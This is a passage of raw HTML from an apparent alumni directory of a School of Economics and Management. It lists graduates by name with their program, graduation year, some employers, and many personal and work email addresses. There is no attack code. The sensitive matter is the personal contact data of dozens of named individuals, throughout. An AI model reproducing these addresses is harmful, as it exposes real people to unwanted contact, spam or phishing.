margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnara Manafova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ManafovaE@gmail.com\">ManafovaE@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Badalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:bedelovelnur@gmail.com\">bedelovelnur@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp; (Honor)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvira&nbsp;İbayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvira.ibayeva@gmail.com\">elvira.ibayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnara&nbsp;İsmayilova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:elnara.ismayilova@gmail.com\">elnara.ismayilova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnara </strong><strong>Samadova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnara.samedova@halliburton.com\">elnara.samedova@halliburton.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:elnara.samedova@halliburton.com\"></a>MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>&nbsp;</strong><strong>Elman&nbsp;Sofiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">British Council, Director Marketing and Communications</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:elman.sofiyev@britishcouncil.az\">elman.sofiyev@britishcouncil.az</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emin Gasimov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">PriceWaterhouseCoopers, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:eminmg@hotmail.com\">eminmg@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnara Safiyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Elnara_ls@hotmail.com\">Elnara_ls@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elgun Huseynzade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Magnit/İT Manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:h.elgun@yahoo.com\">h.elgun@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AvtoluxeBaku, Accountant assistant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elvinmamedov@mail.ru\">elvinmamedov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Aliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Russia</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Mammadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Engine company</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mamedov-elvin@inbox.ru\">mamedov-elvin@inbox.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmira Eynullayeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bker Tire Auditing Company</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elchin Hajiyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Evelina Garadaghli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eyashayeva@gmail.com\">eyashayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Khasiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvin_kasiyev@yahoo.com\">elvin_kasiyev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin&nbsp; Gasimov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakertelli, audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvingasimov@yahoo.com\">elvingasimov@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:elvingasimov@yahoo.com\"></a>Bachelor 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emil Abdullayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmira Soltanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finca Azerbaijan, Accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elmira_soltanova@yahoo.com\">elmira_soltanova@yahoo.com</a>;&nbsp;<a href=\"mailto:esoltanova@fincazerbaijan.com\">esoltanova@fincazerbaijan.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ehtiram&nbsp;Musayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens Azerbaijan Limite, Audit and Assurance, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ehtiram.musayev@moorestephens.az%20ehtirammusayev@gmail.com\">ehtiram.musayev@moorestephens.az\r\nehtirammusayev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elkhan Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elxannm@yahoo.com\">elxannm@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elshan Hasanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elshansmx@yahoo.com\">elshansmx@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emil Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:emil555_2004@yahoo.com\">emil555_2004@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmin Safarov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elmin.safarov@mail.ru\">elmin.safarov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmin Zodanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:z-elmin@yahoo.com\">z-elmin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><span style=\"font-size:13.5pt\">Elnara &nbsp;Mammadova</span></strong><span style=\"font-size:13.5pt\">&nbsp;</span></p><p>Finance, Planning &amp; perofrmance\r\nadvisor&nbsp;</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:mamedoej@bp.com\">mamedoej@bp.com</a>&nbsp;</p>\r\n<p>2003</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Mustafayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvin3562@mail.ru\">elvin3562@mail.ru</a>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"F\" style=\"font-weight:bold\"><strong>F</strong></h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Fazil\r\nMuzaffarov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Muzafferly93@gmail.com\">Muzafferly93[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fidan Safarova</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:safarifidan@gmail.com\">safarifidan[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fidan Shikhaliyeva</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:shixaliyeva.fidan94@gmail.com\">shikhaliyeva.fidan94[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fakhri Aliyev </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Fexri8198@gmail.com\">Fekhri8198[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Farid Huseynli </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:faridhuseynli@gmail.com\">faridhuseynli[at]gmail.com</a></p>\r\n<p>SubhanTrans\r\nBNT MMC<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Fidan Asgarova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan.askerova@hotmail.com\">fidan.askerova[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Fariz Gasimov </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fariz_2303@hotmail.com\">fariz_2303[at]hotmail.com</a></p>\r\n<p>Pasha\r\nHolding MMC<strong></strong></p>\r\n<p><strong><br></strong></p><p><strong>Fidan Garibova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Marketing, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan.qaribova@outlook.com\">fidan.qaribova[at]outlook.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Bayramli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:fidanbayramli@yahoo.com\">fidanbayramli@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Faig Fatullayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management/Master of Business Administration\r\n(MBA)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Auditor/KPMG&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:faig.fatullayev@gmail.com\">faig.fatullayev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:faig.fatullayev@gmail.com\"></a>MBA 2016 (Honor)</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Guliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:quliyev_fuad@inbox.ru\">quliyev_fuad@inbox.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida Alili</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farida&nbsp;Hasanli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Business Organization and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Norway</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:faridahasanova@hotmail.com\">faridahasanova@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:faridahasanova@hotmail.com\"></a>Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid Mammadov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerfon, Corporate Communication</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:faridmammadov@hotmail.com\">faridmammadov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fatima Giyasli&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:F_kh_g@hotmail.com\">F_kh_g@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:b.fuad@yahoo/com\">b.fuad@yahoo/com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:b.fuad@yahoo/com\"></a>Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fuad Huseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farman Garayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: farmangarayev @mail.ru</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid Kamalov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:farid.kamalov@yahoo.com\">farid.kamalov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farid Huseynov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Farah Ahmadli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank of Baku internship</p>\r\n<p 